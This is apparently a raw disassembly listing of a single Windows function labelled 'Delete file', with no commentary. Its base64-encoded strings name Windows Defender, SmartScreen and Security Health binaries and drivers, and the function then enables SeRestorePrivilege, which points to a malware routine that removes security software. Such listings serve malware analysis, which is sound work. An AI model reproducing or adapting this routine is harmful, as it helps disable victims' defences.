Function at 0x140012b30
Capabilities:
Delete file

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x490]
sub rsp, 0x590
mov rax, qword [0x1400b1100]
xor rax, rsp
mov qword [rbp + 0x480], rax
xor r14d, r14d
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
mov r8d, 0x44
lea rdx, str.XFdpblN4U1xGaWxlTWFwc1x3b3c2NF93aW5kb3dzLWRlZmVuZGVyKi5tYW5pZmVzdA
lea rcx, [rsp + 0x40]
call fcn.140007470
nop
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x40]
call fcn.14000f7c0
nop
mov r8, qword [rsp + 0x58]
cmp r8, 0xf
jbe 0x140012bba
mov rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0x40]
call fcn.1400066d0
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
mov r8d, 0x40
lea rdx, str.XFdpblN4U1xGaWxlTWFwc1x4ODZfd2luZG93cy1kZWZlbmRlcioubWFuaWZlc3Q
lea rcx, [rsp + 0x40]
call fcn.140007470
nop
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x20]
call fcn.14000f7c0
nop
mov r8, qword [rsp + 0x58]
cmp r8, 0xf
jbe 0x140012c0c
mov rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0x40]
call fcn.1400066d0
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
mov r8d, 0x44
lea rdx, str.XFdpblN4U1xGaWxlTWFwc1xhbWQ2NF93aW5kb3dzLWRlZmVuZGVyKi5tYW5pZmVzdA
lea rcx, [rsp + 0x40]
call fcn.140007470
nop
lea rdx, [rsp + 0x40]
lea rcx, [rbp]
call fcn.14000f7c0
nop
mov r8, qword [rsp + 0x58]
cmp r8, 0xf
jbe 0x140012c5e
mov rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0x40]
call fcn.1400066d0
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
mov r8d, 0x38
lea rdx, str.XFN5c3RlbTMyXFNlY3VyaXR5QW5kTWFpbnRlbmFuY2VfRXJyb3IucG5n
lea rcx, [rsp + 0x40]
call fcn.140007470
nop
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x20]
call fcn.14000f7c0
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x140012cd3
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140012cce
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013e7b
call fcn.14003a900
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
mov r8d, 0x30
lea rdx, str.XFN5c3RlbTMyXFNlY3VyaXR5QW5kTWFpbnRlbmFuY2UucG5n
lea rcx, [rsp + 0x40]
call fcn.140007470
nop
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x40]
call fcn.14000f7c0
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x140012d48
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140012d43
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013e81
call fcn.14003a900
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
mov r8d, 0x30
lea rdx, str.XFN5c3RlbTMyXFNlY3VyaXR5SGVhbHRoU3lzdHJheS5leGU
lea rcx, [rsp + 0x40]
call fcn.140007470
nop
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x60]
call fcn.14000f7c0
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x140012dbd
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140012db8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013e87
call fcn.14003a900
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
mov r8d, 0x30
lea rdx, str.XFN5c3RlbTMyXFNlY3VyaXR5SGVhbHRoU2VydmljZS5leGU
lea rcx, [rsp + 0x40]
call fcn.140007470
nop
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x80]
call fcn.14000f7c0
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x140012e35
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140012e30
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013e8d
call fcn.14003a900
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
mov r8d, 0x2c
lea rdx, str.XFN5c3RlbTMyXFNlY3VyaXR5SGVhbHRoSG9zdC5leGU
lea rcx, [rsp + 0x40]
call fcn.140007470
nop
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0xa0]
call fcn.14000f7c0
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x140012ead
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140012ea8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013e93
call fcn.14003a900
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
mov r8d, 0x2c
lea rdx, str.XFN5c3RlbTMyXGRyaXZlcnNcU2dybUFnZW50LnN5cw
lea rcx, [rsp + 0x40]
call fcn.140007470
nop
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0xc0]
call fcn.14000f7c0
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x140012f25
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140012f20
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013e99
call fcn.14003a900
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
mov r8d, 0x28
lea rdx, str.XFN5c3RlbTMyXGRyaXZlcnNcV2REZXZGbHQuc3lz
lea rcx, [rsp + 0x40]
call fcn.140007470
nop
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0xe0]
call fcn.14000f7c0
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x140012f9d
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140012f98
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013e9f
call fcn.14003a900
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
mov r8d, 0x28
lea rdx, str.XFN5c3RlbTMyXGRyaXZlcnNcV2RCb290LnN5cw
lea rcx, [rsp + 0x40]
call fcn.140007470
nop
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x100]
call fcn.14000f7c0
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x140013015
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140013010
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013ea5
call fcn.14003a900
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
mov r8d, 0x28
lea rdx, str.XFN5c3RlbTMyXGRyaXZlcnNcV2RGaWx0ZXIuc3lz
lea rcx, [rsp + 0x40]
call fcn.140007470
nop
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x120]
call fcn.14000f7c0
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x14001308d
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140013088
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013eab
call fcn.14003a900
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
mov r8d, 0x1c
lea rdx, str.XFN5c3RlbTMyXHdzY3N2Yy5kbGw
lea rcx, [rsp + 0x40]
call fcn.140007470
nop
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x140]
call fcn.14000f7c0
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x140013105
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140013100
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013eb1
call fcn.14003a900
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
mov r8d, 0x28
lea rdx, str.XFN5c3RlbTMyXGRyaXZlcnNcV2ROaXNEcnYuc3lz
lea rcx, [rsp + 0x40]
call fcn.140007470
nop
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x160]
call fcn.14000f7c0
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x14001317d
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140013178
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013eb7
call fcn.14003a900
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
mov r8d, 0x1c
lea rdx, str.XFN5c3RlbTMyXHdzY3N2Yy5kbGw
lea rcx, [rsp + 0x40]
call fcn.140007470
nop
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x180]
call fcn.14000f7c0
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x1400131f5
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400131f0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013ebd
call fcn.14003a900
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
mov r8d, 0x24
lea rdx, str.XFN5c3RlbTMyXHdzY3Byb3h5c3R1Yi5kbGw
lea rcx, [rsp + 0x40]
call fcn.140007470
nop
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x1a0]
call fcn.14000f7c0
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x14001326d
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140013268
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013ec3
call fcn.14003a900
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
mov r8d, 0x20
lea rdx, str.XFN5c3RlbTMyXHdzY2lzdmlmLmRsbA
lea rcx, [rsp + 0x40]
call fcn.140007470
nop
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x1c0]
call fcn.14000f7c0
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x1400132e5
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400132e0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013ec9
call fcn.14003a900
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
mov r8d, 0x34
lea rdx, str.XFN5c3RlbTMyXFNlY3VyaXR5SGVhbHRoUHJveHlTdHViLmRsbA
lea rcx, [rsp + 0x40]
call fcn.140007470
nop
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x1e0]
call fcn.14000f7c0
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x14001335d
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140013358
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013ecf
call fcn.14003a900
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
mov r8d, 0x24
lea rdx, str.XFN5c3RlbTMyXHNtYXJ0c2NyZWVuLmRsbA
lea rcx, [rsp + 0x40]
call fcn.140007470
nop
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x200]
call fcn.14000f7c0
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x1400133d5
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400133d0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013ed5
call fcn.14003a900
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
mov r8d, 0x24
lea rdx, str.XFN5c1dPVzY0XHNtYXJ0c2NyZWVuLmRsbA
lea rcx, [rsp + 0x40]
call fcn.140007470
nop
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x220]
call fcn.14000f7c0
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x14001344d
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140013448
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013edb
call fcn.14003a900
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
mov r8d, 0x24
lea rdx, str.XFN5c3RlbTMyXHNtYXJ0c2NyZWVuLmV4ZQ
lea rcx, [rsp + 0x40]
call fcn.140007470
nop
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x240]
call fcn.14000f7c0
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x1400134c5
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400134c0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013ee1
call fcn.14003a900
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
mov r8d, 0x24
lea rdx, str.XFN5c1dPVzY0XHNtYXJ0c2NyZWVuLmV4ZQ
lea rcx, [rsp + 0x40]
call fcn.140007470
nop
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x260]
call fcn.14000f7c0
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x14001353d
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140013538
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013ee7
call fcn.14003a900
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
mov r8d, 0x1c
lea rdx, str.XFN5c3RlbTMyXERXV0lOLkVYRQ
lea rcx, [rsp + 0x40]
call fcn.140007470
nop
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x280]
call fcn.14000f7c0
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x1400135b5
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400135b0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013eed
call fcn.14003a900
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
mov r8d, 0x24
lea rdx, str.XFN5c1dPVzY0XHNtYXJ0c2NyZWVucHMuZGxs
lea rcx, [rsp + 0x40]
call fcn.140007470
nop
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x2a0]
call fcn.14000f7c0
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x14001362d
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140013628
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013ef3
call fcn.14003a900
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
mov r8d, 0x24
lea rdx, str.XFN5c3RlbTMyXHNtYXJ0c2NyZWVucHMuZGxs
lea rcx, [rsp + 0x40]
call fcn.140007470
nop
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x2c0]
call fcn.14000f7c0
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x1400136a5
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400136a0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013ef9
call fcn.14003a900
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
mov r8d, 0x2c
lea rdx, str.XFN5c3RlbTMyXFNlY3VyaXR5SGVhbHRoQ29yZS5kbGw
lea rcx, [rsp + 0x40]
call fcn.140007470
nop
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x2e0]
call fcn.14000f7c0
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x14001371d
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140013718
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013eff
call fcn.14003a900
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
mov r8d, 0x30
lea rdx, str.XFN5c3RlbTMyXFNlY3VyaXR5SGVhbHRoU3NvVWRrLmRsbA
lea rcx, [rsp + 0x40]
call fcn.140007470
nop
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x300]
call fcn.14000f7c0
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x140013795
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140013790
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013f05
call fcn.14003a900
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
mov r8d, 0x2c
lea rdx, str.XFN5c3RlbTMyXFNlY3VyaXR5SGVhbHRoVWRrLmRsbA
lea rcx, [rsp + 0x40]
call fcn.140007470
nop
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x320]
call fcn.14000f7c0
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x14001380d
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140013808
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013f0b
call fcn.14003a900
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
mov r8d, 0x2c
lea rdx, str.XFN5c3RlbTMyXFNlY3VyaXR5SGVhbHRoQWdlbnQuZGxs
lea rcx, [rsp + 0x40]
call fcn.140007470
nop
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x340]
call fcn.14000f7c0
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x140013885
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140013880
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013f11
call fcn.14003a900
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
mov r8d, 0x1c
lea rdx, str.XFN5c3RlbTMyXHdzY2FwaS5kbGw
lea rcx, [rsp + 0x40]
call fcn.140007470
nop
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x360]
call fcn.14000f7c0
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x1400138fd
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400138f8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013f17
call fcn.14003a900
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
mov r8d, 0x20
lea rdx, str.XFN5c3RlbTMyXHdzY2FkbWludWkuZXhl
lea rcx, [rsp + 0x40]
call fcn.140007470
nop
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x380]
call fcn.14000f7c0
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x140013975
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140013970
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013f1d
call fcn.14003a900
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
mov r8d, 0x30
lea rdx, str.XFN5c1dPVzY0XEdhbWVCYXJQcmVzZW5jZVdyaXRlci5leGU
lea rcx, [rsp + 0x40]
call fcn.140007470
nop
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x3a0]
call fcn.14000f7c0
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x1400139ed
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400139e8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013f23
call fcn.14003a900
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
mov r8d, 0x30
lea rdx, str.XFN5c3RlbTMyXEdhbWVCYXJQcmVzZW5jZVdyaXRlci5leGU
lea rcx, [rsp + 0x40]
call fcn.140007470
nop
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x3c0]
call fcn.14000f7c0
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x140013a65
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140013a60
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013f29
call fcn.14003a900
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
mov r8d, 0x24
lea rdx, str.XFN5c1dPVzY0XERldmljZUNlbnN1cy5leGU
lea rcx, [rsp + 0x40]
call fcn.140007470
nop
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x3e0]
call fcn.14000f7c0
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x140013add
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140013ad8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013f2f
call fcn.14003a900
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
mov r8d, 0x28
lea rdx, str.XFN5c1dPVzY0XENvbXBhdFRlbFJ1bm5lci5leGU
lea rcx, [rsp + 0x40]
call fcn.140007470
nop
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x400]
call fcn.14000f7c0
nop
mov r8, qword [rsp + 0x58]
cmp r8, 0xf
jbe 0x140013b32
mov rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0x40]
call fcn.1400066d0
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
mov r8d, 0x2c
lea rdx, str.XHN5c3RlbTMyXGRyaXZlcnNcbXNzZWNjb3JlLnN5cw
lea rcx, [rsp + 0x40]
call fcn.140007470
nop
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x420]
call fcn.14000f7c0
nop
mov r8, qword [rsp + 0x58]
cmp r8, 0xf
jbe 0x140013b87
mov rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0x40]
call fcn.1400066d0
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
mov r8d, 0x2c
lea rdx, str.XHN5c3RlbTMyXGRyaXZlcnNcTXNTZWNGbHRXZnAuc3lz
lea rcx, [rsp + 0x40]
call fcn.140007470
nop
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x440]
call fcn.14000f7c0
nop
mov r8, qword [rsp + 0x58]
cmp r8, 0xf
jbe 0x140013bdc
mov rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0x40]
call fcn.1400066d0
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
mov r8d, 0x28
lea rdx, str.XHN5c3RlbTMyXGRyaXZlcnNcTXNTZWNGbHQuc3lz
lea rcx, [rsp + 0x40]
call fcn.140007470
nop
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x460]
call fcn.14000f7c0
nop
mov r8, qword [rsp + 0x58]
cmp r8, 0xf
jbe 0x140013c32
mov rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0x40]
call fcn.1400066d0
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x78], xmm0
mov qword [rbp - 0x68], r14
mov qword [rbp - 0x60], r14
xor r8d, r8d
lea rdx, [0x140075e65]
lea rcx, [rbp - 0x78]
call fcn.140007470
nop
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp - 0x80]
mov edx, 0x28
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea r8, [rbp - 0x54]
lea rdx, str.SeRestorePrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov dword [rbp - 0x58], 1
mov dword [rbp - 0x4c], 2
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r14
xor r9d, r9d
lea r8, [rbp - 0x58]
xor edx, edx
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rdi, r14
lea rbx, [rbp - 0x40]
movabs rsi, 0x7fffffffffffffff
nop dword [rax]
